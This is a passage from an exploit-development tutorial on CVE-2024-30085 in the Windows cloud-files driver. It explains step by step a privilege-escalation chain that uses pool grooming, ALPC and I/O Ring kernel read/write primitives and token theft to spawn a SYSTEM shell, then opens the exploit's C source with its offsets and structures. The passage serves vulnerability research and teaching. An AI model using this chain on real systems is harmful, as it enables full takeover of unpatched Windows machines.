Exploiting Reversing (ER) series | Article 08

Exploitation Techniques | CVE-2024-30085 (part 02)

(a step-by-step exploitation series on Win, macOS, hypervisors, browsers, and others)

by Alexandre Borges
release date: March 31, 2026 | rev: A.1

00. Quote

"You know, the feeling that people experience when they stand on the edge like this isn't the fear of falling - it's the fear that they might jump."
(Will Emerson played by Paul Bettany | "Margin Call" movie - 2011)

01. Introduction

Welcome to the eighth article of **Exploiting Reversing (ER) series**, a step-by-step **exploit development and vulnerability research series on Windows, macOS, hypervisors, browsers, and others**. Last articles of Exploit Reversing series are listed below:

- **ERS_07**: https://exploitreversing.com/2026/03/04/exploiting-reversing-er-series-article-07/
- **ERS_06:** https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/
- **ERS_05:** https://exploitreversing.com/2025/03/12/exploiting-reversing-er-series-article-05/
- **ERS_04:** https://exploitreversing.com/2025/02/04/exploiting-reversing-er-series-article-04/
- **ERS_03:** https://exploitreversing.com/2025/01/22/exploiting-reversing-er-series-article-03/
- **ERS_02:** https://exploitreversing.com/2024/01/03/exploiting-reversing-er-series-article-02/
- **ERS_01:** https://exploitreversing.com/2023/04/11/exploiting-reversing-er-series/

This article is a continuation of the subject initiated by ERS 06 and ERS 07 articles, where I have already discussed the vulnerability and exploitation of the cldflt.sys minifilter driver and also shown four variations of exploits such as ALPC write-primitive, parent spoofing, token stealing and the first version of I/O ring exploit. In this article readers will learn about other two I/O Ring exploit variations, which will present this valuable primitive under a different angle. Similar to previous articles, this one is focused on real-world target and techniques.

02. Acknowledgments

It's 2026, and even today, there are very few detailed documents on vulnerability research and real-world exploit development. Currently, I have the distinct impression that the era of information sharing is over. In fact, nowadays, we have several new articles per week, but most of them only aim to show the final

results, without explaining the entire process from beginning to end, which doesn't help other colleagues to give their own steps in exploitation research. Unfortunately, the willingness to demonstrate the craft of exploit development has diminished due to money and other factors.

A few years ago, when I started authoring articles on malware analysis, vulnerability research, and exploitation, I had a clear decision in mind: I should share information without restrictions because, in the end, this wouldn't prevent me from improving my skills and pursuing my career. As expected, time is a major limitation for writing regularly, but I continue to strive to establish a solid foundation of information that can be valuable to other professionals. As I always remember, I wouldn't have been able to author these articles without the help of **Ilfak Guilfanov (@ilfak**) and **Hex-Rays SA (@HexRaysSA)**, who have offered me all the necessary support over the years. Finally, research is living in a new era of AI, but nothing replaces our minds, capable of generating unlimited knowledge and solving problems that, at first glance, seem impossible.

Life may be short, but every moment is worthwhile because people are the best thing in this world. Enjoy the journey and keep exploiting it!

03. Lab infrastructure

This article demands the following environment:

- A physical and/or a virtual machine running Windows 11 23H2.
- IDA Pro or IDA Home version: https://hex-rays.com/ida-pro/ . Readers might use Binary Ninja, Ghidra and other ones, but I will be using IDA Pro (8.4 / 9.x) and its decompiler in this article.
- Install Visual Studio, Visual Studio Code, Windows SDK and Windows Development Kit (optionally):
- Visual Studio: https://visualstudio.microsoft.com/downloads/. During the installation, don’t forget to install “Desktop development with C++” set.
- Visual Studio Code: https://code.visualstudio.com/
- Windows SDK: https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/
- Windows Development Kit (WDK): https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk

04. Lab configuration

This time I have opted to provide a much succinct lab configuration to debug potential issues with the target virtual machine. However, this procedure will work as a reference and resource to be used just in case things go wrong. Anyway, it assumes you have installed frameworks mentioned in the prior section. Therefore, if it is necessary, execute the following steps:

- `mkdir C:\kdnet`
- `copy "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\kdnet.exe" C:\kdnet`

- `copy "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\VerifiedNICList.xml" C:\kdnet`
- `cd C:\kdnet`
- `kdnet (check supported network interfaces)`
- `bcdedit /set {dbgsettings} key 1.2.3.4`
- `kdnet <host machine IP> <port> -k (e.g., kdnet 192.168.0.96 50005 -k )`

As you already know, an alternative is to use bcdedit command directly (it is my preference) by using:

- `bcdedit /debug on`
- `Get-NetAdapterHardwareInfo (on PowerShell)`
- `bcdedit /dbgsettings net hostip:<host machine IP> port:<port> busparams:x.y.z key:1.2.3.4`
- `bcdedit /dbgsettings` *(check the changes)*

As a note, you do not need to create the kdnet folder in C:\ and neither use this specified key. I have tried being as simple as possible to prevent you of wasting time here. To connect via WinDbg, provide the port and key, which are enough. Do not forget to set the symbol path variable as indicated below:

- `_NT_SYMBOL_PATH=srv*c:\symbols*https://msdl.microsoft.com/download/symbols`

After having concluded the configuration setup, reboot systems.

05. I/O Ring Read Write, Single Overflow Exploit (technique 02)

05.01. Exploit overview

Before starting the reading of this and next sections, I strongly recommend you first read both previous ERS 06 and ERS 07 articles, which provide readers with the necessary background and context. In the ioring_edition_01 exploit, I have used I/O Ring for writing, but not for reading, where was used a pipe read primitive through helper functions such as RefreshPipeCorruption, ReadKernel64 and ReadKernelBuffer. Although this approach has worked perfectly, the inconvenience was having two different primitives (or techniques) such as I/O Ring and pipe read primitive to proceed with the exploitation. In this version of the exploit, I will focus only on I/O Ring for both operations:

- I/O Ring read: BuildIoRingWriteFile reads from kernel address to pipe.
- I/O Ring write: BuildIoRingReadFile reads from pipe to kernel address.

Therefore, only one cldflt overflow will be necessary instead of two, and this simplifies the exploit because after the first (and unique) overflow, which leaks a KALPC_POINTER (check Stage 10), I/O Ring is set up via ALPC bootstrap (check Stage 11) and from this point onward the exploitation process is based on I/O Ring exclusively. At the end, this second version of the exploit using I/O Ring has only 15 stages and not 24 stages as in the first version.

As you have learned from ERS 07, to initiate an I/O Ring operation it is necessary to call CreateIoRing function and register memory buffers with BuildIoRingRegisterBuffer function. Afterwards, any submitted I/O operation can reference those buffer by index, which actually are resolved at submission time and

cached for later usage. In this process, IORING_OBJECT structure is created, and two important fields used for exploitation, which we used intensively in the first I/O Ring exploit, are:

- RegBuffersCount: it holds the number of registered buffer entries.
- RegBuffers: it contains a pointer to array of IO_MP_BUFFER_ENTRY structures that basically describes a registered buffer.

Once an I/O Ring execute, the kernel looks up RegBuffers[index], dereferences it to get the associated IO_MC_BUFFER_ENTRY and uses its Address and Length fields to determine the I/O source or destination. Therefore, if we have the possibility of corrupting RegBuffers to point at a user-space fake entry, we can control where (address) the kernel is able to write and read, which gives us an arbitrary kernel read and write primitive. In terms of user-mode, there is an equivalent structure named HIORING, which holds handles and that also must be adjusted to match the kernel corruption. Thus, its main fields to be set are KernelHandle, RegBufferArray and BufferArraySize.

While it is not requested to make use of any pipe read-primitive, we need to use two named pipes that will be used as channels between the user-space and the IO_RING primitive in kernel-space because, as readers could remember, the IO_RING operation transfers data between a registered buffer, which points to a controlled kernel address after corruption, and a file handle that, in this case, it is the pipe. To appropriately follow the data flux, the following handles will be created:

- g_input_pipe_server: this handle represents the server end, where the user writes data into.
- g_input_pipe_client: this handle represents the client end, where IO_RING reads from.
- g_output_pipe_server: this handle represents the server end, where user reads data.
- g_output_pipe_client: this handle represents the client end, where IO_RING writes to.

Both pipes are created (CreateNamedPipeW function) according to following conditions:

- PIPE_ACCESS_DUPLEX: it specifies both read and write access on server handle.
- PIPE_TYPE BYTE: it specifies that data are written as stream of bytes. I learned that it is critical because I/O Ring mechanism transfers sequence of raw bytes and not well-formatted and discrete messages. Additionally, I have arbitrarily chosen 0x1000 bytes because the largest I/O Ring transfer is only 0x200 bytes (associated with ALPC_PORT data in Stage 13) and I would not like to run any risk of causing bottleneck during the transferring process. Probably 0x500 bytes would have worked well, but I would have to test it.
- Names: \\.\pipe\ioring_input_<PID> and \\.\pipe\ioring_output_<PID>

A counter-intuitive concept is that I/O Ring classifies read and write operation from kernel perspective, but the exploit perspective is the opposite, and it is has the user-space as reference. Therefore:

- I/O Ring write: in this operation, data is written from the registered buffer (IOP_MC_BUFFER_ENTRY) into a named pipe. Additionally, the kernel resolves the buffer index through IORING_OBJECT.RegBuffers[0], which according to adopted approach since last article, it points to the fake IOP_MC_BUFFER_ENTRY. In special, kernel reads from g_fake_buffer_entry →Address (fake_buffer_entry contains a pointer to a user-space allocated IOP_MC_BUFFER_ENTRY structure, whose fields are set before each I/O Ring operation) and number of bytes given by g_fake_buffer_entry→Length, and writes into the named pipe given by g_output_pipe_client. As result, kernel content is leaked from the kernel address into pipe. Thus, from I/O Ring perspective,

it is a write operation (registered buffer → pipe), but from exploit perspective, it is a read operation.

- I/O Ring read: in this operation, data is read from a named pipe into g_fake_buffer_entry, which contains a pointer to IO_MC_BUFFER_ENTRY structure. In special, the kernel read data from the named pipe given by g_input_pipe_client and writes such data into address provided by g_fake_buffer_entry→Address and number of bytes given by g_fake_buffer_entry→Length. As result, data provided from user-space goes into pipe and, from there, it lands in kernel memory. Therefore, from I/O Ring perspective, it is a read operation (pipe → buffer), from the kernel perspective, it is a write operation.

If terms of the exploit perspective, interpretation is different:

- Exploit read: from this perspective, data content flows from kernel to user-space through functions such as IoRingReadKernel (a wrapper) and BuildIoRingWriteFile, which results in a leak from kernel memory to a user-space buffer via named pipe. Both g_fake_buffer_entry→Address and g_fake_buffer_entry→Length fields are set with a kernel address to read and number of bytes to be transferred, and BuildIoRingWriteFile function is called, which will trigger the addition of one submission queue entry to the submission queue. Note: there is not any data move yet. Once the request is there, SubmitIoRing function is called to send requests (in this case there is only one) from submission queue to kernel, and the kernel processes each submission queue entry by resolving RegBuffers[0]→g_fake_buffer_entry, which triggers the reading from g_fake_buffer_entry→Address (with kernel memory) for g_fake_buffer_entry→Length bytes, and writes that data into the output pipe. After this real data movement, IopIoRingCompletion function is called and the result returned into completion queue is verified. Finally, ReadFile function is called and retrieves the kernel data from the output pipe's server end.

- Exploit write: under this perspective, data content flows from user-space to kernel through functions as such as IoRingWriteKernel and BuildIoRingReadFile functions, which results in writing user data into kernel via pipe (acts only a channel). Both g_fake_buffer_entry→Address and g_fake_buffer_entry→Length fields are set with a kernel address to read and number of bytes to be transferred, and WriteFile is called to place payload data into input pipe's server. Once data is in pipe, BuildIoRingReadFile function adds one submission queue entry to the submission queue, but there is no data move. Afterwards, SubmitIoRing function submits all pending submission queue entries (in this case, there is only one) to the kernel, which triggers the read of data from the input pipe, resolves RegBuffers[0]→g_fake_buffer_entry, and writes the pipe data into g_fake_buffer_entry→Address (kernel memory) for g_fake_buffer_entry→Length bytes. Finaly, PopIoRingCompletion function is called and checks for the completion queue entry in completion queue to verify success.

This version of exploit, which does not make use of a pure I/O Ring approach that will be presented in the next section, uses ALPC write-primitive (obtained from the first-wave overflow) to set two values to IORING_OBJECT, which are RegBuffferCount = 1 (only one buffer exists in this case) and RegBuffers = g_fake_buffers_array, whose content is a pointer to single-element user-mode array allocated via VirtualAlloc function, and the first (and only) element of this array points to g_fake_buffer_entry (a crafted IOP_MC_BUFFER_ENTRY structure). Once the kernel processes an I/O Ring operation for buffer index 0, it

follows the sequence IORING_OBJECT.RegBuffers→g_fake_buffers_array[0]→g_fake_buffer_entry, and both g_fake_buffers_array and g_fake_buffer_entry are allocated in user-mode memory, where the kernel can access because the I/O Ring buffer validation trusts the pointer chain set by the ALPC corruption. This is the only use of ALPC write primitive in this exploit, and from this point onward, all subsequent read and write operations use I/O Ring.

The observation on ALPC write-primitive is relevant because in the first edition of this exploit (ERS 07), I/O Ring was used for writing, but to read kernel memory a second cldflt overflow was triggered to corrupt a pipe attribute then getting an arbitrary read-primitive. At the end, one overflow was used for the ALPC, and I/O Ring write technique, and the second one for the pipe attribute read path. However, the ALPC bootstrap only needs three values from the first wave (WNF structures) to set up I/O Ring. The first one is g_victim_index, which works as an index into g_wnf_names[ ] and it is responsible for identifying which WNF_STATE_DATA was corrupted by the cldflt overflow. The second one is g_saved_reserve_handle, which represents an ALPC resource reserve handle created by NtAlpcCreateResourceReserve function in Stage 09. The third value is g_alpc_ports, which represents an array of 0x800 ALPC port handle created in Stage 03 via NtAlpcCreatePort function. Likely the most important fact is that none of these values come from the pipe read primitive and once they are correctly setup, I/O Ring can be bootstrapped. Once I/O Ring is set up, it provides both read and write primitive and the entire second way that includes pipe spray and a second overflow is completely unnecessary. Actually, it could seem a slight change in the architecture of the exploit, but it eliminates the necessity of making use of a second cldflt overflow, setting up the whole pipe attribute corruption infrastructure and mainly the problem of “address-as-value” that caused issues for pipe reads after ALPC operations. At the end, the exploit has only 15 stages instead of having 24 stages.

05.02. Exploit logic and architecture decisions

This exploit has 15 stages, which can be divided in the following parts:

- Part A: First wave (stage 1-10) | Leak a kernel Pointer
- Part B: I/O Ring Bootstrap (Stage 11) | ALPC sets up I/O Ring
- Part C: EPROCESS Discovery + Token Steal + Shell (Stages 12-15)

As start of Part A, the object is to achieve arbitrary kernel read/write primitive. The exploit grooms the non-paged pool by spraying WNF_STATE_DATA objects (we named them as WNF objects), which have around 0x1000 bytes each, allocated via NtUpdateWnfStateData function with 0xFF0 data bytes → the kernel allocates a 0x1000-byte pool block with tag “Wnf “ containing a WNF_STATE_DATA header + inline data, so they land adjacent to the cldflt.sys buffer, whose characteristics are a pool tag with “mBsH”, pool type is Non-PagedPool and 0x1000 bytes allocated via ExAllocatePoolWithTag function.

All ALPC ports (0x800) are allocated via NtAlpcCreatePort with resource reserves (257 per port) via NtAlpcCreateResourceReserve function, each allocating a KALPC_RESERVE structure in PagedPool) are also sprayed into the same pool region, where the KALPC_RESERVE objects land immediately after the WNF objects in the pool.

At the vulnerability and critical point, when the overflow triggers, the 16-byte overwrite (0x1010 bytes into a 0x1000 buffer) corrupts the first 16 bytes of the adjacent WNF object's _WNF_STATE_DATA header. Specifically, it overwrites the AllocatedSize and DataSize fields, extending the readable size from 0xFF0 to 0xFF8 (this aspect has been explained in ERS 06). The exploit then queries each WNF via NtQueryWnfStateData function looking for one that returns STATUS_BUFFER_TOO_SMALL (status) with a size > 0xFF0 (a clear corruption indicator). Once found (g_victim_index), it reads 0xFF8 bytes from that WNF, and the extra 8 bytes at offset 0xFF0 contain a kernel pointer to the adjacent KALPC_RESERVE object, leaked as g_leaked_kalpc. This pointer anchors all subsequent kernel operations.

At start of Part B, things become a bit more complicated. After the first wave succeeds (hopefully), the ALPC write-primitive is used once (and just once) to bootstrap I/O Ring mechanism. The ALPC writes by constructing a fake KALPC_RESERVE structure in user-mode memory (g_fake_kalpc_reserve_object that has been allocated with VirtualAlloc function) that points to a fake KALPC_MESSAGE structure (g_fake_kalpc_message_object, also allocated with VirtualAlloc function). The fake KALPC_MESSAGE.ExtensionBuffer field is set to IORING_OBJECT.RegBuffersCount field (the real write target) and the fake KALPC_MESSAGE.ExtensionBufferSize is set to 0x10 (16 bytes as I explained in the first ALPC exploit in ERS 06 article). Afterwards, a WNF re-overflow (or second wave, as you prefer) using NtUpdateWnfStateData function on g_wnf_names[g_victim_index] writes the fake KALPC_RESERVE pointer into the ALPC handle table. Thus, sending an ALPC message (NtAlpcSendWaitReceivePort function) triggers the kernel to follow the sequence already shown in ERS 06, which is HandleTable → fake KALPC_RESERVE → fake KALPC_MESSAGE → ExtensionBuffer → IORING_OBJECT.RegBuffersCount, overwriting both RegBuffersCount and RegBuffers fields in a single 16-byte ALPC write. Personally, the real gain is that after this single ALPC write, the exploit has both I/O Ring read and write primitives, and no second overflow is needed.

Part C starts at Stage 12 with a reading of 0x20 bytes from g_leaked_kalpc via IoRingReadKernel function, which extracts the KALPC_RESERVE structure fields such as OwnerPort whose value is stored in g_alpc_port_addr variable (_ALPC_PORT*), HandleTable whose value is stored into g_alpc_handle_table_addr variable and Message whose value is stored in g_alpc_message_addr variable (KALPC_MESSAGE*). Here there is an interesting detail because if IoRingReadKernel function (wrapper) returns valid kernel pointers (0xFFFF prefix) then the IORING_OBJECT.RegBuffers field corruption worked correctly. I have used this fact to confirm that up to this point the exploit was working.

In Stage 13, the exploit discovers _EPROCESS addresses using IoRingReadKernel function, which reads 0x200 bytes from g_alpc_port_addr variable (ALPC_PORT structure), extracts _EPROCESS pointer at ALPC_PORT.OwnerProcess → g_eprocess_addr (it is the initial _EPROCESS that created the ALPC port, which is our own exploit process), walks the doubly-linked _EPROCESS.ActiveProcessLinks list and finally the loop breaks when all three found or 500 iterations, which it is safety limit, but that eventually you need to adjust.

In Stage 14, the exploit performs the token steal with 8-byte precision, which computes the token target (_EPROCESS.Token), reads the token and also _EPROCESS.MmReserved (it remains unchanged after write operation) by invoking IoRingReadKernel64 function. The following task is to call IoRingWriteKernel function to overwrite our _EX_FAST_REF structure with SYSTEM's token value (exactly 8 bytes, which is one of advantages that I like). Afterwards, the exploit calls IoRingReadKernel64 function again to check if

the token replacement has occurred and also to confirm that MmReserved has not been touched. Finally, in Stage 15 the SYSTEM shell is spawned by calling CreateProcessW function.

If readers have followed this series, the exploitation techniques has been improved since ERS 06 article:

- exploit_alpc_edition.c: in this exploit, the exploit used ALPC arbitrary write via WNF out-of-boundary followed by KALPC handle table corruption and token stealing has been performed through direct _EPROCESS.Token overwrite. Actually, two cldflt overflows were used such as one for WNF corruption and another one for pipe attribute read.

- exploit_token_stealing_edition.c. this exploit has refactored ALPC write into reusable primitive and also has offered a cleaner _EPROCESS walk via ALPC_PORT.OwnerProcess → ActiveProcessLinks. On the other hand, same two-overflow approach and also same pipe attribute read primitive have been used.

- exploit_ioring_edition_01.c: this exploit has added I/O Ring write-primitive (BuildIoRingReadFile function) for 8-byte precision writes, replacing ALPC write for token overwrite. At this exploit version, it still uses pipe attribute corruption for reading (second overflow). Once again, two cldflt overflows have been used.

- exploit_ioring_edition_02.c: this exploit has added I/O Ring read primitive (BuildIoRingWriteFile function), eliminating the pipe attribute read and the entire second overflow. This time the exploit uses only one cldflt overflow followed by a single ALPC bootstrap, which result in a full read-and-write primitive. Named pipes have been used only as data transport for I/O Ring operations and not for the exploitation itself.

05.03. Exploit code

The exploit_ioring_edition_02.c exploit code follows as shown below:

```
#include <Windows.h>
#include <cfapi.h>
#include <winioctl.h>
#include <ShlObj.h>
#include <stdio.h>
#include <memory>
#include <initguid.h>
#include <guiddef.h>
#include <sddl.h>
#include <ntstatus.h>
#include <ioringapi.h>

#pragma comment(lib, "Cldapi.lib")

DEFINE_GUID(ProviderId,
    0x1b4f2a33, 0xb1b3, 0x40c0,
    0xba, 0x5a, 0x06, 0x34, 0xec, 0x63, 0xde, 0x00);
```

```
typedef enum _HSM_CONSTANTS {
    HSM_BITMAP_MAGIC = 0x70527442,
    HSM_FILE_MAGIC = 0x70526546,
    HSM_DATA_HAVE_CRC = 0x02,
    HSM_ELEMENT_TYPE_UINT64 = 0x06,
    HSM_ELEMENT_TYPE_BYTE = 0x07,
    HSM_ELEMENT_TYPE_UINT32 = 0x0A,
    HSM_ELEMENT_TYPE_MAX = 0x10,
    HSM_ELEMENT_TYPE_BITMAP = 0x11,
} HSM_CONSTANTS;

static const USHORT HSM_HEADER_SIZE = 0x14;
static const USHORT HSM_ELEMENT_INFO_SIZE = 0x08;
static const USHORT BTRP_ALIGN = 0x04;
static const USHORT FERP_ALIGN = 0x08;
static const USHORT ELEMENT_NUMBER = 0x05;
static const USHORT MAX_ELEMS = 0x0A;
static const USHORT VERSION_VALUE = 0x0001;
static const USHORT ELEMENT_START_OFFSET = 0x60;
static const USHORT FERP_BUFFER_SIZE = 0x4000;
static const USHORT BTRP_BUFFER_SIZE = 0x4000;
static const USHORT COMPRESSED_SIZE = 0x4000;
static const USHORT REPARSE_DATA_SIZE = 0x4000;

static const DWORD  DEFRAG_PIPE_COUNT = 5000;
static const DWORD  WNF_PAD_SPRAY_COUNT = 0x5000;
static const DWORD  WNF_SPRAY_COUNT = 0x800;
static const DWORD  WNF_DATA_SIZE = 0xFF0;
static const DWORD  ALPC_PORT_COUNT = 0x800;
static const DWORD  ALPC_RESERVES_PER_PORT = 257;
static const USHORT PAYLOAD_FILL_BYTE = 0xAB;
static const USHORT PAYLOAD_SIZE_OVERFLOW = 0x1010;
static const USHORT PAYLOAD_OFFSET = 0x1000;
static const DWORD  CHANGE_STAMP_FIRST = 0xC0DE;

static const DWORD  SLEEP_SHORT = 100;
static const DWORD  SLEEP_NORMAL = 1000;
static const DWORD  SLEEP_LONG = 6000;

static const ULONG EPROCESS_TOKEN_OFFSET = 0x4B8;
static const ULONG EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8;
static const ULONG EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440;
static const ULONG EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448;

static const ULONG IORING_OBJECT_REGBUFFERSCOUNT_OFFSET = 0xB0;
static const ULONG IORING_OBJECT_REGBUFFERS_OFFSET = 0xB8;

#define ALPC_MSGFLG_NONE 0x0

#pragma pack(push, 1)

typedef struct _HSM_ELEMENT_INFO {
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO, * PHSM_ELEMENT_INFO;
```

```
typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[FERP_BUFFER_SIZE];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG     Flags;
    ULONG     ExistingReparseTag;
    GUID      ExistingReparseGuid;
    ULONGLONG Reserved;
    REPARSE_DATA_BUFFER ReparseDataBuffer;
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;

#pragma pack(pop)

typedef struct _PIPE_PAIR {
    HANDLE hRead;
    HANDLE hWrite;
} PIPE_PAIR, * PPIPE_PAIR;

typedef struct _WNF_STATE_NAME {
    ULONG64 Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef struct _WNF_TYPE_ID {
    GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
    WnfWellKnownStateName = 0,
    WnfPermanentStateName = 1,
    WnfPersistentStateName = 2,
    WnfTemporaryStateName = 3
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_DATA_SCOPE {
    WnfDataScopeSystem = 0,
    WnfDataScopeSession = 1,
    WnfDataScopeUser = 2,
    WnfDataScopeProcess = 3,
    WnfDataScopeMachine = 4
} WNF_DATA_SCOPE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
```

```
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _ALPC_PORT_ATTRIBUTES {
    ULONG                        Flags;
    SECURITY_QUALITY_OF_SERVICE SecurityQos;
    SIZE_T                       MaxMessageLength;
    SIZE_T                       MemoryBandwidth;
    SIZE_T                       MaxPoolUsage;
    SIZE_T                       MaxSectionSize;
    SIZE_T                       MaxViewSize;
    SIZE_T                       MaxTotalSectionSize;
    ULONG                        DupObjectTypes;
    ULONG                        Reserved;
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

#pragma pack(push, 1)

typedef struct _KALPC_RESERVE {
    PVOID OwnerPort;
    PVOID HandleTable;
    PVOID Handle;
    PVOID Message;
    ULONGLONG Size;
    LONG Active;
    ULONG Padding;
} KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _KALPC_MESSAGE {
    BYTE Reserved0[0x60];
    PVOID Reserve;
    BYTE Reserved1[0x78];
    PVOID ExtensionBuffer;
    ULONGLONG ExtensionBufferSize;
    BYTE Reserved2[0x28];
} KALPC_MESSAGE, * PKALPC_MESSAGE;

#pragma pack(pop)

typedef struct _PORT_MESSAGE {
    union {
        struct {
```

```
            USHORT DataLength;
            USHORT TotalLength;
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            USHORT Type;
            USHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
} PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _ALPC_MESSAGE {
    PORT_MESSAGE PortHeader;
    BYTE Data[0x100];
} ALPC_MESSAGE, * PALPC_MESSAGE;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
    PVOID       Object;
    ULONG_PTR   UniqueProcessId;
    ULONG_PTR   HandleValue;
    ULONG       GrantedAccess;
    USHORT      CreatorBackTraceIndex;
    USHORT      ObjectTypeIndex;
    ULONG       HandleAttributes;
    ULONG       Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
    ULONG_PTR   NumberOfHandles;
    ULONG_PTR   Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

typedef struct _IOP_MC_BUFFER_ENTRY {
    USHORT    Type;
    USHORT    Reserved1;
```

```
    ULONG     Size;
    ULONG     ReferenceCount;
    ULONG     Flags;
    ULONG64   Flink;
    ULONG64   Blink;
    PVOID     Address;
    ULONG     Length;
    CHAR      AccessMode;
    CHAR      Pad2D[3];
    LONG      MdlRef;
    ULONG     Pad34;
    PVOID     Mdl;
    BYTE      MdlRundownEvent[0x18];
    PVOID     PfnArray;
    BYTE      PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;

static const ULONG HIORING_OFFSET_KERNEL_HANDLE = 0x00;
static const ULONG HIORING_OFFSET_REG_BUFFER_ARRAY = 0x40;
static const ULONG HIORING_OFFSET_BUFFER_ARRAY_SIZE = 0x48;

typedef NTSTATUS(NTAPI* PNtCreateWnfStateName)(PWNF_STATE_NAME,
WNF_STATE_NAME_LIFETIME, WNF_DATA_SCOPE, BOOLEAN, PCWNF_TYPE_ID, ULONG,
PSECURITY_DESCRIPTOR);
typedef NTSTATUS(NTAPI* PNtUpdateWnfStateData)(PCWNF_STATE_NAME, PVOID, ULONG,
PCWNF_TYPE_ID, PVOID, WNF_CHANGE_STAMP, ULONG);
typedef NTSTATUS(NTAPI* PNtQueryWnfStateData)(PCWNF_STATE_NAME, PCWNF_TYPE_ID, PVOID,
PWNF_CHANGE_STAMP, PVOID, PULONG);
typedef NTSTATUS(NTAPI* PNtDeleteWnfStateName)(PCWNF_STATE_NAME);
typedef NTSTATUS(NTAPI* PNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES,
PALPC_PORT_ATTRIBUTES);
typedef NTSTATUS(NTAPI* PNtAlpcCreateResourceReserve)(HANDLE, ULONG, SIZE_T, PHANDLE);
typedef NTSTATUS(NTAPI* PNtAlpcSendWaitReceivePort)(HANDLE, ULONG, PPORT_MESSAGE,
PVOID, PPORT_MESSAGE, PSIZE_T, PVOID, PLARGE_INTEGER);
typedef NTSTATUS(NTAPI* PNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PCLIENT_ID);
typedef NTSTATUS(NTAPI* PRtlGetCompressionWorkSpaceSize)(USHORT, PULONG, PULONG);
typedef NTSTATUS(NTAPI* PRtlCompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG,
ULONG, PULONG, PVOID);
typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* PNtQueryObject)(HANDLE, ULONG, PVOID, ULONG, PULONG);

static PNtCreateWnfStateName        g_NtCreateWnfStateName = NULL;
static PNtUpdateWnfStateData        g_NtUpdateWnfStateData = NULL;
static PNtQueryWnfStateData         g_NtQueryWnfStateData = NULL;
static PNtDeleteWnfStateName        g_NtDeleteWnfStateName = NULL;
static PNtAlpcCreatePort            g_NtAlpcCreatePort = NULL;
static PNtAlpcCreateResourceReserve g_NtAlpcCreateResourceReserve = NULL;
static PNtAlpcSendWaitReceivePort   g_NtAlpcSendWaitReceivePort = NULL;
static PNtOpenProcess               g_NtOpenProcess = NULL;
static PNtQuerySystemInformation    g_NtQuerySystemInformation = NULL;
static PNtQueryObject               g_NtQueryObject = NULL;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names;
static std::unique_ptr<BOOL[]>           g_wnf_active;
```

```
static std::unique_ptr<HANDLE[]>         g_alpc_ports;
static int    g_victim_index = -1;
static PVOID  g_leaked_kalpc = NULL;
static HANDLE g_saved_reserve_handle = NULL;

static ULONG64 g_alpc_port_addr = 0;
static ULONG64 g_alpc_handle_table_addr = 0;
static ULONG64 g_alpc_message_addr = 0;
static ULONG64 g_eprocess_addr = 0;
static ULONG64 g_system_eprocess = 0;
static ULONG64 g_our_eprocess = 0;
static ULONG64 g_system_token = 0;
static ULONG64 g_system_token_raw = 0;
static ULONG64 g_our_token = 0;
static ULONG g_winlogon_pid = 0;

static HIORING              g_ioring_handle = NULL;
static ULONG64              g_ioring_object_addr = 0;
static HANDLE               g_input_pipe_server = NULL;
